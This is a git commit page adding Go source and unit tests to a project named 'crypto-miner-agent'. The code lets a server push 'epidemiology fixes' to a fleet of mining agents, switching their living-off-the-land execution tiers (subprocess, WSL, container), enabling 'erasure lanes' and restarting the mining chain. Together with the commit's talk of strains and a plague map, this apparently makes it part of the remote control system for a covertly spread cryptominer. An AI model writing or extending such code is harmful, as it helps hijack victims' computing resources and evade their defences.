Fleet topology epidemiology: strain plague map, interrupt fixes, tests.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
59
agent/client/epidemiology_fix.go
Normal file
59
agent/client/epidemiology_fix.go
Normal file
@@ -0,0 +1,59 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"log"
|
||||
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
// EpidemiologyFix is a server-pushed surgical correction after a broken mining branch.
|
||||
type EpidemiologyFix struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Reason string `json:"reason"`
|
||||
SkipTiers []string `json:"skip_tiers,omitempty"`
|
||||
ForceTier string `json:"force_tier,omitempty"`
|
||||
RestartChain bool `json:"restart_chain,omitempty"`
|
||||
ErasureLanes bool `json:"erasure_lanes,omitempty"`
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyEpidemiologyFixJSON(raw json.RawMessage) {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return
|
||||
}
|
||||
var fix EpidemiologyFix
|
||||
if err := json.Unmarshal(raw, &fix); err != nil {
|
||||
return
|
||||
}
|
||||
c.mu.Lock()
|
||||
policy := c.tierPolicy
|
||||
if len(fix.SkipTiers) > 0 {
|
||||
have := make(map[miner.LOTLTier]bool, len(policy.SkipTiers))
|
||||
for _, t := range policy.SkipTiers {
|
||||
have[t] = true
|
||||
}
|
||||
for _, s := range fix.SkipTiers {
|
||||
tier := miner.LOTLTier(s)
|
||||
if tier == "" || have[tier] {
|
||||
continue
|
||||
}
|
||||
have[tier] = true
|
||||
policy.SkipTiers = append(policy.SkipTiers, tier)
|
||||
}
|
||||
}
|
||||
if fix.ForceTier != "" {
|
||||
policy.ForceTier = miner.LOTLTier(fix.ForceTier)
|
||||
}
|
||||
c.tierPolicy = policy
|
||||
if fix.ErasureLanes {
|
||||
c.cfg.ErasureLanesEnabled = true
|
||||
}
|
||||
restart := fix.RestartChain
|
||||
c.mu.Unlock()
|
||||
|
||||
log.Printf("[agent] epidemiology fix applied: %s", fix.Reason)
|
||||
if restart && c.miningChain != nil {
|
||||
c.miningChain.Restart(context.Background())
|
||||
}
|
||||
}
|
||||
37
agent/client/epidemiology_fix_test.go
Normal file
37
agent/client/epidemiology_fix_test.go
Normal file
@@ -0,0 +1,37 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
func TestApplyEpidemiologyFixSkipsFailedTiers(t *testing.T) {
|
||||
c := &AgentClient{}
|
||||
raw, _ := json.Marshal(EpidemiologyFix{
|
||||
AgentID: "a1",
|
||||
Reason: "broken branch",
|
||||
SkipTiers: []string{"exe_subprocess", "wsl"},
|
||||
})
|
||||
c.applyEpidemiologyFixJSON(raw)
|
||||
policy := c.miningTierPolicy()
|
||||
if len(policy.SkipTiers) != 2 {
|
||||
t.Fatalf("skip tiers=%v", policy.SkipTiers)
|
||||
}
|
||||
if policy.SkipTiers[0] != miner.LOTLTier("exe_subprocess") {
|
||||
t.Fatalf("first skip=%v", policy.SkipTiers[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyEpidemiologyFixForceTier(t *testing.T) {
|
||||
c := &AgentClient{}
|
||||
raw, _ := json.Marshal(EpidemiologyFix{
|
||||
ForceTier: "container",
|
||||
})
|
||||
c.applyEpidemiologyFixJSON(raw)
|
||||
policy := c.miningTierPolicy()
|
||||
if policy.ForceTier != miner.TierContainer {
|
||||
t.Fatalf("force tier=%v", policy.ForceTier)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user